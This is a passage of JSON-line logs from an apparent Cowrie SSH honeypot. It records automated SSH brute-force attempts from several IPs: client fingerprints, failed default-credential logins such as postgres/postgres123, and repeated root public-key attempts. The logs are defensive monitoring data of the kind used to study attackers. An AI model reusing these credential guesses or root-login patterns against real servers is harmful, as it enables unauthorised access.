{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:30.248892Z","src_ip":"45.156.87.69","session":"0205784df442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:30.367323Z","src_ip":"45.156.87.69","session":"0205784df442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:31.212535Z","src_ip":"45.156.87.69","session":"0205784df442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.61","src_port":24808,"dst_ip":"10.17.0.5","dst_port":22,"session":"768da5e79a57","protocol":"ssh","message":"New connection: 208.87.243.61:24808 (10.17.0.5:22) [session: 768da5e79a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.205969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.211440Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.280686Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:9d:ff:57:12:ae:14:60:20:4f:bc:bc:39:b4:a5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZxW8xbE23WvRyGGNMlCoeYdbJvyH0baYaZ2wTMAPLmwwAmIW2Wpo2gLCbmF0VUOPInOiC//H6GD0qJS3vpoxCIBupgQbDdjN/2hLFcn/Ul+PE7Qt0jQEfBAaUXdYNIC9jVKs6iqo/Z80zzkpCSuB8fXkTul4L7kOL47vQ3lmHyRwFog5HLlJnoSuKf0DPCBIzc88GIcBc0EpGN34W8+oxFQua17E1r9+EMiepTFwhHR96qIIIxfl4vy0wTK8eNSZuhOvPBve4o4aQGxEfgHF6gV2eoKO2DJgN9098vFYEc40WCSrrj2+5yR7P7xs4ldGYV1w9t16GQBdHT/Gmja5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:9d:ff:57:12:ae:14:60:20:4f:bc:bc:39:b4:a5:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.602438Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:9d:ff:57:12:ae:14:60:20:4f:bc:bc:39:b4:a5:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZxW8xbE23WvRyGGNMlCoeYdbJvyH0baYaZ2wTMAPLmwwAmIW2Wpo2gLCbmF0VUOPInOiC//H6GD0qJS3vpoxCIBupgQbDdjN/2hLFcn/Ul+PE7Qt0jQEfBAaUXdYNIC9jVKs6iqo/Z80zzkpCSuB8fXkTul4L7kOL47vQ3lmHyRwFog5HLlJnoSuKf0DPCBIzc88GIcBc0EpGN34W8+oxFQua17E1r9+EMiepTFwhHR96qIIIxfl4vy0wTK8eNSZuhOvPBve4o4aQGxEfgHF6gV2eoKO2DJgN9098vFYEc40WCSrrj2+5yR7P7xs4ldGYV1w9t16GQBdHT/Gmja5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.606175Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.617002Z","src_ip":"45.156.87.69","session":"0205784df442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:36:9b:bd:b3:23:2b:be:c2:01:e8:5b:66:d0:c6:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC53VP1L8Frvxt7lPhA6hw5+O8hq3iw3aO8qyXQ9CCvzl5YEozm6/OCx1ozEmhF4d4Jr7ZM6pWu4M09CJ5Ggf6kxZK34kXiJ2L+IlwPZ+OJPNYvgYNdHPXXvYpg715D8AjHe+Teo6uuYZ7tYEJgoFQxRLO78bauLzvbpEpZICfGIaThZ3PmncrRSYtbqpSbLZ30zPC+mMawtpe6LmPV7qr3LJ5Y+Wx8sUr5H7FDzDxgHXZ3OSoL2HnumyYZEmNLvcgIvQUQ1bJIySfphu67PMhPdse8wWnETQIV7jkcZfbzcDYk3KVmHmiyvZ9kt6jZOn+KF9/7rIhD7uh0bPBEvfXOtZwhlOD1wy3CmaRo6hhWBjXy0oI8z1+ozAK+h2sOMhQxZRj9KblSP+NV1Z58m5u/NZ0JXf5t2GrU/3dZk23wvVWevQ2291D7n7SMZoTDA4Jf8Q3oGkr6qTmP4S34gsH1O3PT+LyqDFGBJDiaxVegzZ27yF4RqS6RuxQkN4kfiu3YFy7Hf5JPGNT7fhx7mwEuPjZZ51/mQ7EI7EQErnHLjWWqrN0IOHddTGM3DY8O8FhC5PRY5N3CrdmUun1TR0EfeYp3zsXL6wsuvKS1pKgd9bR+7POlejx+hwPYKobICHz4Qk8WlvhExUmMAMnm2W3R9ladnw/+X1rYqFlzQFY4uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:36:9b:bd:b3:23:2b:be:c2:01:e8:5b:66:d0:c6:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.675502Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:36:9b:bd:b3:23:2b:be:c2:01:e8:5b:66:d0:c6:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC53VP1L8Frvxt7lPhA6hw5+O8hq3iw3aO8qyXQ9CCvzl5YEozm6/OCx1ozEmhF4d4Jr7ZM6pWu4M09CJ5Ggf6kxZK34kXiJ2L+IlwPZ+OJPNYvgYNdHPXXvYpg715D8AjHe+Teo6uuYZ7tYEJgoFQxRLO78bauLzvbpEpZICfGIaThZ3PmncrRSYtbqpSbLZ30zPC+mMawtpe6LmPV7qr3LJ5Y+Wx8sUr5H7FDzDxgHXZ3OSoL2HnumyYZEmNLvcgIvQUQ1bJIySfphu67PMhPdse8wWnETQIV7jkcZfbzcDYk3KVmHmiyvZ9kt6jZOn+KF9/7rIhD7uh0bPBEvfXOtZwhlOD1wy3CmaRo6hhWBjXy0oI8z1+ozAK+h2sOMhQxZRj9KblSP+NV1Z58m5u/NZ0JXf5t2GrU/3dZk23wvVWevQ2291D7n7SMZoTDA4Jf8Q3oGkr6qTmP4S34gsH1O3PT+LyqDFGBJDiaxVegzZ27yF4RqS6RuxQkN4kfiu3YFy7Hf5JPGNT7fhx7mwEuPjZZ51/mQ7EI7EQErnHLjWWqrN0IOHddTGM3DY8O8FhC5PRY5N3CrdmUun1TR0EfeYp3zsXL6wsuvKS1pKgd9bR+7POlejx+hwPYKobICHz4Qk8WlvhExUmMAMnm2W3R9ladnw/+X1rYqFlzQFY4uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.683236Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:fd:b9:0a:9f:86:10:1e:2d:0f:1c:34:35:43:7c:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOC34EdD1l/XQphNFkNGkq6+GgIfgz3SGjq985Rmd3QoP6qZ+3pPF8bEm6AbXv6BYlmAPuMuuyqs2aQZvY4GuBK672Bqw3XnVPlXpjTtuy3GA/+ZivHwK6P458D4MzPqFXxnSQb0PxNwfSTZqHeaPaqlb9/Od9flKEVSoJ9696MN/ZYzXsN/qs1l3YHz0zbCqu7srzIUrGL9wnGRUlWHRjXCZRb3CbNT47/l5Ex4z6JeiugsbWlVef8HZmbQc/ZqT50Ac2Wl6lfjEppR/14ZWQCuSxgyRyto+Ih9O+wDfTBJDDUDzQfMCGiVfTbknHjnAfbRrge4wZwdknsl12vKIPxxBW5vyOfZc3l/cTS0QCiKf4OM5Y+KBJX4tsfjeF6XeWlhdJCymLxatYmLbBLo9zpj6iDjGJKnSNgPaqT5zJprkkufYL1J96l1VVH4bM7PKsWNSmvqN1lrCexsuMdr1WzmT95QmbW7bLoZsQVlAxFhWsNvUOg62sLGvdMiblEHRf0jtWCy9D8fAiCcN6XV5IVOR3mUUAEdfbqZwq1Vr9nMTjCv2Mpbn4gDUcz37mrrk6lGz4V15hEUNGx9bZ9ZuGENV0j9dLAIo9OXToE+6GLvs2yQ05Tk1AP01eX2tOqxGLNaNImNZ/AsZkF4y9LhyHoYSC5uukEaNmveU1oO9iew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:fd:b9:0a:9f:86:10:1e:2d:0f:1c:34:35:43:7c:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.753508Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:fd:b9:0a:9f:86:10:1e:2d:0f:1c:34:35:43:7c:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOC34EdD1l/XQphNFkNGkq6+GgIfgz3SGjq985Rmd3QoP6qZ+3pPF8bEm6AbXv6BYlmAPuMuuyqs2aQZvY4GuBK672Bqw3XnVPlXpjTtuy3GA/+ZivHwK6P458D4MzPqFXxnSQb0PxNwfSTZqHeaPaqlb9/Od9flKEVSoJ9696MN/ZYzXsN/qs1l3YHz0zbCqu7srzIUrGL9wnGRUlWHRjXCZRb3CbNT47/l5Ex4z6JeiugsbWlVef8HZmbQc/ZqT50Ac2Wl6lfjEppR/14ZWQCuSxgyRyto+Ih9O+wDfTBJDDUDzQfMCGiVfTbknHjnAfbRrge4wZwdknsl12vKIPxxBW5vyOfZc3l/cTS0QCiKf4OM5Y+KBJX4tsfjeF6XeWlhdJCymLxatYmLbBLo9zpj6iDjGJKnSNgPaqT5zJprkkufYL1J96l1VVH4bM7PKsWNSmvqN1lrCexsuMdr1WzmT95QmbW7bLoZsQVlAxFhWsNvUOg62sLGvdMiblEHRf0jtWCy9D8fAiCcN6XV5IVOR3mUUAEdfbqZwq1Vr9nMTjCv2Mpbn4gDUcz37mrrk6lGz4V15hEUNGx9bZ9ZuGENV0j9dLAIo9OXToE+6GLvs2yQ05Tk1AP01eX2tOqxGLNaNImNZ/AsZkF4y9LhyHoYSC5uukEaNmveU1oO9iew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.757925Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:26:60:f1:cf:2f:97:db:0b:bf:4d:05:f6:5e:a8:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDogu53x3s4rkA0ERqEErv6kfedUt+ofhewaP9ZIcybjFaPBbaUgHDAej3wZ2pQaiKG3jX7EbZauMZUIs5hQmG52sbdPOglmkk7y6cZs3vvIlx6e3Hd4GdUGcNoGKw8/PPmpQB/Jbe66ZPG7tzPxt4MzPUP/zpp1lw4yA58op+gOD1sUfNF43yroM3UtkjlH5mf9oCXhLcY6udhq2CqlfuO8rN2RB9Ozz8ZqSNq8wzXWLcCwzGigk6wf1Yvh6cNN2bmQFEXCUnO62h7MNwQsp1VBdRtbAqRQR1PJVBLtQ27yek4CbIjtVfW2Soo/TfhtHucF93AsgVgToHy3O9qFMI5MtEaNl1c1U+2/SCq8IaJRdfbjBUV57DlpAyZT5SQscY/PnEBrQtslcEJkPY9SP8Uia76iNe29VZLGatppudIvl550NHNoInVw+5Mg2NR6sKnZEGi8+z5R9arivv1u/SkW9pr9mge84wMw2s75yQRAulCBWcxPndw2HNi0Kth+dX/36YFEnhxjWpvy4eZnqMHBKOD/ygUOw3svSKV9t32XyICOkDgEMRge4/RiRGMcrKpV5INjO3LdL6L/XEqT0IXNsW4ELwq8s9RKvBW+rCkvcTrpeBqVUy+xj5ft7nxavBJ3AcKqNzrqkBGmRiDBusTcs5EER2wN4leqMu+sL3zTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:26:60:f1:cf:2f:97:db:0b:bf:4d:05:f6:5e:a8:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.827925Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:26:60:f1:cf:2f:97:db:0b:bf:4d:05:f6:5e:a8:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDogu53x3s4rkA0ERqEErv6kfedUt+ofhewaP9ZIcybjFaPBbaUgHDAej3wZ2pQaiKG3jX7EbZauMZUIs5hQmG52sbdPOglmkk7y6cZs3vvIlx6e3Hd4GdUGcNoGKw8/PPmpQB/Jbe66ZPG7tzPxt4MzPUP/zpp1lw4yA58op+gOD1sUfNF43yroM3UtkjlH5mf9oCXhLcY6udhq2CqlfuO8rN2RB9Ozz8ZqSNq8wzXWLcCwzGigk6wf1Yvh6cNN2bmQFEXCUnO62h7MNwQsp1VBdRtbAqRQR1PJVBLtQ27yek4CbIjtVfW2Soo/TfhtHucF93AsgVgToHy3O9qFMI5MtEaNl1c1U+2/SCq8IaJRdfbjBUV57DlpAyZT5SQscY/PnEBrQtslcEJkPY9SP8Uia76iNe29VZLGatppudIvl550NHNoInVw+5Mg2NR6sKnZEGi8+z5R9arivv1u/SkW9pr9mge84wMw2s75yQRAulCBWcxPndw2HNi0Kth+dX/36YFEnhxjWpvy4eZnqMHBKOD/ygUOw3svSKV9t32XyICOkDgEMRge4/RiRGMcrKpV5INjO3LdL6L/XEqT0IXNsW4ELwq8s9RKvBW+rCkvcTrpeBqVUy+xj5ft7nxavBJ3AcKqNzrqkBGmRiDBusTcs5EER2wN4leqMu+sL3zTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.832360Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:0b:0f:05:8f:ea:9b:bd:c5:53:a0:eb:02:13:03:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgY1dFVG2KFKo1SaOynacGR0boPmU9qhuAiRsRTZp5Ow/lzC+O/WuwungY+GGgXj1P7jlAbIGt5C8tS8T1VriUI+TVhQxuzCr8242H/z1j1hJJWoMJpvDzwnKzM1lyqA4KeqviGr2E40AdXy143mi7D+qshxpThYyxN+40yWUsfiFBwlxGYaU6mbuwpkHfW+WSKUtr6tWHffANUMJ6j4bCl318T1fnPDBgU43cksCry7D+tJvvTRYXTPb+nLVKdnl0TqrSnZy6cx5dr1Ox7vbDT/DIXKk3BiBaKBE45kXerz/VT5npCgff4Jp+2oxepC6G4854YOHaHX2B7I4MQH7dQx/NOHtZR6fVaiCyMdrGZjyoMpGGJ8gQ4y4V3JhO8i7OipquF+Kggc1NcMz81GpkNqQThK0bKWXrWB8/VopD4YfJ4c7NaAYeEXa4l6RUfynZFLPzaWQBza16wh1YNZCllMHCeUNbpbd4hmhyDZV94IQCTvHIbE9kWMPWSt2nWpNTFQH3XxXF7Ux1QjGadirWHgGZJL2RY3OxFlLNLrgPJvnYon3NikbT6mOxSAA1EN3JS+OVw8adm5ZfvfUKqX4lKfxWJnTeNunWulK8hlyV2VFYuj9XbkyxpnhCfaA3od2kuHEn9jDLTOibFCO29ePS5xgoWeAKgrANOpXGW3th1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:0b:0f:05:8f:ea:9b:bd:c5:53:a0:eb:02:13:03:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.902248Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:0b:0f:05:8f:ea:9b:bd:c5:53:a0:eb:02:13:03:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDgY1dFVG2KFKo1SaOynacGR0boPmU9qhuAiRsRTZp5Ow/lzC+O/WuwungY+GGgXj1P7jlAbIGt5C8tS8T1VriUI+TVhQxuzCr8242H/z1j1hJJWoMJpvDzwnKzM1lyqA4KeqviGr2E40AdXy143mi7D+qshxpThYyxN+40yWUsfiFBwlxGYaU6mbuwpkHfW+WSKUtr6tWHffANUMJ6j4bCl318T1fnPDBgU43cksCry7D+tJvvTRYXTPb+nLVKdnl0TqrSnZy6cx5dr1Ox7vbDT/DIXKk3BiBaKBE45kXerz/VT5npCgff4Jp+2oxepC6G4854YOHaHX2B7I4MQH7dQx/NOHtZR6fVaiCyMdrGZjyoMpGGJ8gQ4y4V3JhO8i7OipquF+Kggc1NcMz81GpkNqQThK0bKWXrWB8/VopD4YfJ4c7NaAYeEXa4l6RUfynZFLPzaWQBza16wh1YNZCllMHCeUNbpbd4hmhyDZV94IQCTvHIbE9kWMPWSt2nWpNTFQH3XxXF7Ux1QjGadirWHgGZJL2RY3OxFlLNLrgPJvnYon3NikbT6mOxSAA1EN3JS+OVw8adm5ZfvfUKqX4lKfxWJnTeNunWulK8hlyV2VFYuj9XbkyxpnhCfaA3od2kuHEn9jDLTOibFCO29ePS5xgoWeAKgrANOpXGW3th1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.906428Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:32.976843Z","src_ip":"208.87.243.61","session":"768da5e79a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63290,"dst_ip":"159.203.135.109","dst_port":22,"session":"92831b46d01c","protocol":"ssh","message":"New connection: 45.156.87.69:63290 (159.203.135.109:22) [session: 92831b46d01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:34.135745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:34.293156Z","src_ip":"45.156.87.69","session":"92831b46d01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:34.297612Z","src_ip":"45.156.87.69","session":"92831b46d01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:35.249897Z","src_ip":"45.156.87.69","session":"92831b46d01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60876,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad08661c64b5","protocol":"ssh","message":"New connection: 109.172.54.111:60876 (10.17.0.5:22) [session: ad08661c64b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:36.044482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:36.049496Z","src_ip":"109.172.54.111","session":"ad08661c64b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","h